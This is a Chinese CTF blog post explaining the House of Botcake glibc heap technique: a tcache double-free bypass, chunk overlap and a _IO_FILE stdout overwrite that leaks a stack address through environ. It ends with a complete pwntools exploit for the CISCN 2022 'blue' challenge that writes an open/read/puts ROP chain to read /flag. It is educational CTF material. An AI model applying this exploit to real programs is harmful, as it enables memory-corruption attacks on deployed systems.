首页 > 其他分享 >pwn知识——House of Botcake

pwn知识——House of Botcake

时间:2024-05-14 22:32:30浏览次数:23  
标签:p64 堆块 libc House base IO pwn Botcake define

个人理解

感觉House of Botcake就是double free + overlapping + _IO_FILE attack的结合使用,需要对堆结构有着较为详细的理解,也要有能管理堆顺序的能力,建议写题的时候还是标一标堆的index,这样在利用堆的时候会比较方便些

House of Botcake

想要利用这个攻击,我们得先了解_IO_FILE的结构

_IO_FILE

结构

pwndbg> p stdout
$3 =(FILE *)0x7f8aba48f760 < I0 2 1 stdout >
pwndbg> ptype stdout
type = struct IO FILE {
int flags; #flag得记得伪造
char * Io read ptr;
char * Io read end;
char * I0 read base,
char * I0 write base; #这三个write是我们攻击中的核心部分
char * I0 write ptr;
char * I0 write end;
char * Io buf base;
char * Io buf end;
char * I0 save base;
char * I0 backup base;
char * I0 save end;
struct I0 marker * markers;
struct IO FILE * chain;
int fileno;
int flags2;
off t old offset;
unsigned short cur column;
signed char vtable offset;
char shortbuf[1l;
I0 lock t * lock;
off64 t offset;
struct
I0 codecvt * codecvt;
struct Io wide data * wide data;
struct
IO FILE * freeres list;
void * freeres buf;
size tpad5;
int mode;
char unused2[20];
} *

_flag详情

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

我们需要关注的只有三个,_IO_MAGIC 0xFBAD0000,_IO_IS_APPENDING 0x1000,_IO_CURRENTLY_PUTTING,通常情况下_flag为0xfbad2887,而我们攻击的时候常常需要把_flag修改为0xfbad1800,这正好对应这三个flag值

解释

为什么要这样设置呢?
首先,我们在这种攻击方式下,用的基本是puts函数,puts函数会经历以下函数调用
puts->_IO_file_xsputn->_IO_file_overflow->_IO_do_write
下面我来详细解释下这些flag值的作用
_IO_CURRENTLY_PUTTING=0x800时通常表示当前文件流正在进行写入操作
IO_IS_APPENDING=0x1000表示文件流是否以追加模式打开IO_MAGIC=0xFBAD0000表示_IO_FILE结构是有效的
在_IO_FILE有效的情况下,因为我们以追加模式进行写入操作,如果我们把_IO_write_base,_IO_write_ptr分别设置为想要泄露的地方,结束泄露的地址,我们就可以通过environ函数的存在泄露出栈地址,从而获得当前函数的返回地址,进行一系列操作

原理

在libc大于2.27版本之后,为了防止tcache攻击过于简单而引入了tcache_key,对应的位置是堆块的bk。当堆块被free进入tcache_bin后,如果遍历该大小的tcache_bin发现有相同地址的堆块就会触发double_free警告,从而被killed掉
而House of Botcake,充分利用了这一机制,如果将同一堆块一次free进unsorted_bin里(没有key),一次free进tcache_bin里,是不是就绕过检查了呢?这样就让double_free再度成为可能

大致思路

先申请十个堆块,然后一如既往填满tcache先,第十个堆块用来防止与top chunk合并
image
接着再free第九个堆块(index=8),使它进入unsorted_bin
image
此时完成了把目标堆块扔进unsorted_bin里,但我们还需要再free第八个堆块,此时会触发chunk合并
image
image
这种攻击方法常常需要修改fd指针来达成我们需要的操作,我们目标堆块尾地址为720,为了控制到该堆块,我们先申请一个多余堆块给目标堆块腾位置
image
接着我们再次free第九个堆块,实现double_free
image
此时我们完成了我们的目的,实现了double_free,接下来就是切割unsorted_bin的堆块了,这里我选择切割0x70的堆块
image
那么下次我们再申请出0x70的堆块时,data域就是710,对应720的prev和size,我们就可以轻而易举操控fd啦。后续还可接着free这两个堆块进行长久地fd指针修改,进行任意操作,整个流程差不多如此。

例题:[CISCN 2022 华东北]blue

代码审计

main

为了方便,我把去符号表的函数名都修改为了对应的功能函数名
image

add

image

delete

image
把指针置空了,没有UAF漏洞

show

image
只有一次show的机会

only_UAF

image
同样,也只有一次UAF的机会

思路

这个题比较特殊,只有一次UAF和show的机会,所以我们只能把UAF和show作用于泄露libc,这样就可以找到_IO_2_1_stdout_,利用House of Botcake将_IO_FILE的_IO_write_base和_IO_write_ptr修改为environ,environ+8,通过puts泄露add的栈地址,从而获得ret的地址。再次free目标堆块和辅助堆块,再次通过House of Botcake修改目标堆块的fd为add_ret地址,申请到栈上的同时往栈布置orw链即可

动调

许多步骤和之前是一样的,我就不重复演示了,直接从切割0x70chunk开始
image
可以看到,我们已经把目标chunk的fd修改成了stdout,我们再申请进去后修改它的结构为environ即可在puts泄露栈地址
image
image
在puts时就会泄露出environ了
image
再把目标堆块和辅助堆块free出来进行伪造chunk
image
image
image
image
到这就结束啦!

Payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./blue')
#p = remote('node4.anna.nssctf.cn',28301)
elf = ELF('./blue')
libc = ELF('./libc.so.6')

def add(size, content):
    p.recvuntil('Choice: ')
    p.sendline(b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(size))
    p.recvuntil(b'content: ')
    p.send(content)

def only_UAF(index):
    p.recvuntil('Choice: ')
    p.sendline(b'666')
    p.recvuntil(b'idx: ')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil('Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'idx: ')
    p.sendline(str(index))

#house of botcake
#leak_libc
for i in range(9):
    add(0x80, b'a') #0-8
add(0x80,b'a') #9 to avoid being caught by top chunk
for i in range(7):
    delete(i) #0-6
#gdb.attach(p)
only_UAF(8) #this is victim chunk
show(8)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x60
log.success('main_arena==>' + hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>' + hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>' + hex(libc_base))

IO_stdout = libc_base + libc.symbols['_IO_2_1_stdout_']
log.success('IO_stdout==>' + hex(IO_stdout))
environ = libc_base + libc.symbols['environ']
log.success('environ==>' + hex(environ))

#gdb.attach(p)
#leak stack and fake stack chunk
delete(7) #this is prev chunk,which is used to be added with chunk 8,becoming a larger chunk that can be double free
add(0x80,b'a') #0,leave a place to target chunk,index 8
delete(8) #this time,the 8th chunk has been double free,which is in the list of tcache,and it will be used to overwrite the fd of 8th chunk by overlapping
gdb.attach(p)
add(0x70,b'a') #1
add(0x70,p64(0) + p64(0x91) + p64(IO_stdout)) #2,chunk expend,change fd to IO_stdout
add(0x80,b'a') #3,which fd has been changed to IO_stdout,
# gdb.attach(p)
add(0x80,p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ + 8)) #4,edit IO_stdout to leak stack
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('stack==>' + hex(stack))
stack_base = stack - 0x158
log.success('stack_base==>' + hex(stack_base))
add_ret = stack_base + 0x30
log.success('add_ret==>' + hex(add_ret))
delete(3) #free victim chunk
delete(2) #free the chunk that can change fd of victim chunk
add(0x70,p64(0) + p64(0x91) + p64(add_ret)) #2,fake stack chunk

#set orw
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
puts_addr = libc_base + libc.symbols['puts']
pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
orw = b'/flag\x00\x00\x00' + p64(pop_rdi) + p64(add_ret) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x200) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(stack + 0x200) + p64(puts_addr)

#getshell
add(0x80,b'a') #3
#gdb.attach(p)
add(0x80,orw) #4,the stack

p.interactive()

总结

这个玩意感觉挺考验细心程度和对堆的理解,一个不留神就会弄错索引,伪造失败。堆好多house啊——什么时候才有我的house——

标签:p64,堆块,libc,House,base,IO,pwn,Botcake,define
From: https://www.cnblogs.com/falling-dusk/p/18192223

相关文章

  • ClickHouse vs StarRocks 全场景MPP数据库选型对比
    ClickHousevsStarRocks选型对比面向列存的DBMS新的选择Hadoop从诞生已经十三年了,Hadoop的供应商争先恐后的为Hadoop贡献各种开源插件,发明各种的解决方案技术栈,一方面确实帮助很多用户解决了问题,但另一方面因为繁杂的技术栈与高昂的维护成本,Hadoop也渐渐地失去了原本......
  • PWN的一些前置知识
    PWN的一些前置知识点虽然我超想打web方向,但是其实感觉每个方向都一窍不通555,算了先学学pwn和misc再说吧大致流程查看文件使用checksec命令,查看是否开启PIE,ASLR等,查看是否有canary(栈保护的机制)静态分析使用IDApro或者其他静态分析软件,获取软件逆向代码动态调试使用gdbdbg......
  • ClickHouse 高性能网关组件 查询优化
    ClickHouse进阶|如何自研一款企业级高性能网关组件?https://mp.weixin.qq.com/s/UFTtlD2KQH9e_Y91sEF5xAClickHouse查询优化详细介绍https://mp.weixin.qq.com/s/38RMVbw25P3iuE4IIuxdogClickHouse进阶|性能提升20倍!深度解析Projection优化实践https://mp.weixin.qq.com/s/EMzd......
  • pwn知识——劫持IO-file_jumps攻击和environ攻击
    导言哎,异或fd指针真是令人讨厌IO_file_jumps_IO_lock_t_IO_stdfile,_IO_wide_data(针对宽字节的虚函数表),_IO_FILE_plus(含有stdin,stdout)三者均被定义为IO_file_jumps原理IO_file_jumps是一个全局变量符号,存有以下符号这个结构体主要跟缓冲区有关,比如调用puts,fread,fgets,ex......
  • buuctf-pwn-ciscn_2019_es_2
    checksecida我们看到在vul函数中,有两个read函数,每个都读取了0x30(48)大小的字符,并放入字符数组s中,也就是说我们能溢出的只有8个字节,刚好覆盖到ebp和返回地址所以我们需要栈迁移,使我们能溢出更多字节首先利用第一个read,输入40字节的数据,刚好覆盖到ebp,然后printf就会顺带打印......
  • buuctf-pwn-[OGeek2019]babyrop
    查看一下保护情况丢进ida里分析主函数调用了一个含有alarm的函数,这个函数会设置一个定时器,到时间自动退出程序为了方便调试,我们直接patch掉这个函数接着分析,主函数读入了一个随机数,并将其传入sub_804871F函数sub_804871F函数读取输入,并检查输入的是否和随机数相同,不相同......
  • buuctf-pwn-ciscn_2019_c_1-ret2libc
    检查一下保护情况ida里选项2,3都没有什么重要的信息,直接看选项1发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作用cyclic测一下溢出点,得到88找一下system......
  • buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞
    题目地址:https://buuoj.cn/challenges#[第五空间2019决赛]PWN5先检查一下保护情况再拖进ida里分析找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值从而进入if语句中,拿到shell什么是格式化字符串漏洞所谓格式化字符串漏洞,就是我们能控......
  • CF147B Smile House
    CF147BSmileHousedp+倍增优化求最小正环,看到数据范围小,考虑dp。设\(f_{k,i,j}\)表示走不超过\(k\)条边,\(i\)走到\(j\)得到的最大权值。转移类似floyd。答案是最小的\(k\)存在\(f_{k,i,j}>0\),复杂度是\(O(n^4)\)。考虑优化状态的表示,记录边数这一维可以用倍增优......
  • 降本增效,火山引擎ByteHouse助力短剧广告投放效率提升5倍
    近几年来,短剧市场呈现出爆发式增长的态势,2023年中国网络微短剧市场规模为373.9亿元,同比上升267.65%。短剧涵盖爱情、历史、悬疑等各种题材,短小精悍特点也符合现代人快节奏、碎片化的生活方式,观众可以通过手机随时随地观看短剧,满足了不同群体的需求。 用数据分析出不同观众......